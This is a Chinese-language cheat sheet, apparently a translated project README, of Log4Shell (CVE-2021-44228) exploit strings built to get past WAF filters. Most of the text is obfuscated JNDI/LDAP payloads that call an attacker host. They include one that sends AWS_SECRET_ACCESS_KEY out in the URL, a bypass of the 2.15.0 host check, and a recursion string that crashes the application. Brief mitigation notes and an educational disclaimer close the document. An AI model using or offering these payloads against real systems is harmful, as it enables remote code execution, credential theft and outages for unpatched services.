🐱💻 ✂️ 🤬 CVE-2021-44228 - LOG4J Java 漏洞利用 - WAF 绕过技巧
CVE-2021-44228 作用于:
log4j:2.0 <= Apache log4j <= 2.14.1
已修补的 Java 版本:6u211+、7u201+、8u191+、11.0.1+。
Windows Defender 开始删除包含 jndi:ldap:.... 的 .java 文件
简单的攻击者脚本(可能的 RCE):
${jndi:ldap://somesitehackerofhell.com/z}
WAF 或开发者开始屏蔽以下短语:
以保护应用程序。
然而,攻击者可以通过以下技术之一绕过:
${${env:ENV_NAME:-j}ndi${env:ENV_NAME:-:}${env:ENV_NAME:-l}dap${env:ENV_NAME:-:}//somesitehackerofhell.com/z}
根据 Apache Log4j 2 文档:${env:ENV_NAME:-默认值}
如果不存在 ENV_NAME 系统环境变量,则使用 :- 之后的文本。
攻击者可以使用任何名称代替 ENV_NAME,但该名称必须不存在。
或者黑客可以读取环境变量,例如 AWS_SECRET_ACCESS_KEY:
${jndi:ldap://somesitehackerofhell.com/z?leak=${env:AWS_SECRET_ACCESS_KEY:-NO_EXISTS}}
在 🦄🔒 环境变量中的秘密精选列表 🖥️ 中查看更多秘密。
你可以检查系统环境变量:
dir env:printenv 或 env${${lower:j}ndi:${lower:l}${lower:d}a${lower:p}://somesitehackerofhell.com/z}
${${upper:j}ndi:${upper:l}${upper:d}a${lower:p}://somesitehackerofhell.com/z}
小写查找 小写查找将传入的参数转换为小写。假定该值将是嵌套查找的结果。
${lower:<文本>}
大写查找 大写查找将传入的参数转换为大写。假定该值将是嵌套查找的结果。
${upper:<文本>}
${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://somesitehackerofhell.com/z}
${jnd${upper:ı}:ldap://somesitehackerofhell.com/z}
ı 被转换为 i
${jnd${sys:SYS_NAME:-i}:ldap:/somesitehackerofhell.com/z}
如果不存在 SYS_NAME 系统属性,则使用 :- 之后的文本。
${j${${:-l}${:-o}${:-w}${:-e}${:-r}:n}di:ldap://somesitehackerofhell.com/z}
${${date:'j'}${date:'n'}${date:'d'}${date:'i'}:${date:'l'}${date:'d'}${date:'a'}${date:'p'}://somesitehackerofhell.com/z}
Java 日期格式化将 YYYY 转换为 2021,但将 'YYYY' 转换为 YYYY,将 'j' 转换为 j。
将字符替换为:
更多信息请参阅 HTML URL 编码参考
${${what:ever:-j}${some:thing:-n}${other:thing:-d}${and:last:-i}:ldap://somesitehackerofhell.com/z}
它不验证查找是否存在,直接愉快地使用默认值。
{
"one-${jnd${a":"a:-i}:ld${",
"two":"o:-a}p://somesitehackerofhell.com/z}
}
"单独来看,这些键和值并不构成攻击。但将它们组合在一起就是一个攻击,并且由于 JSON 解析器,这种攻击对检测系统是透明的。" 阅读更多...
${\u006a\u006e\u0064\u0069:ldap://somesitehackerofhell.com/z}
将一些字符转换为 unicode。
${jndi:ldap://127.0.0.1#somesitehackerofhell.com/z}
绕过 Log4J 2.15.0 中的 allowedLdapHost 和 allowedClasses 检查。java.net.URI getHost() 方法返回 # 之前的值作为真实主机。但 JNDI/LDAP 解析器将解析为完整的主机名字符串,尝试连接到恶意 LDAP 服务器。
${${::-${::-$${::-j}}}}
如果出于任何原因对以下字符串进行字符串替换,它将触发无限递归,应用程序将崩溃。
制作特殊的 PDF 文件以利用 CVE-2021-44228

要测试入口,你可以使用:
简而言之,更新至 log4j-2.17.1 或更高版本。
Log4j 1.x 缓解措施:Log4j 1.x 没有 Lookups,因此风险较低。使用 Log4j 1.x 的应用程序只有在配置中使用 JNDI 时才易受此攻击。此漏洞已提交单独的 CVE(CVE-2021-4104)。缓解措施:审计你的日志记录配置,确保没有配置 JMSAppender。没有 JMSAppender 的 Log4j 1.x 配置不受此漏洞影响。
Log4j 2.x 缓解措施:实施以下缓解技术之一。
zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class 并移除对外部来源(如 HTTP 头或用户输入)的 Context Lookups(如 ${ctx:loginId} 或 $${ctx:loginId})的引用。注意,只有 log4j-core JAR 文件受此漏洞影响。仅使用 log4j-api JAR 文件而不使用 log4j-core JAR 文件的应用程序不受此漏洞影响。

本项目仅供教育目的使用。未经事先许可,使用此软件针对目标系统是非法的,滥用此软件造成的任何损害均不由作者负责。
我不是 CVE-2021-44228 及其某些绕过技术的作者。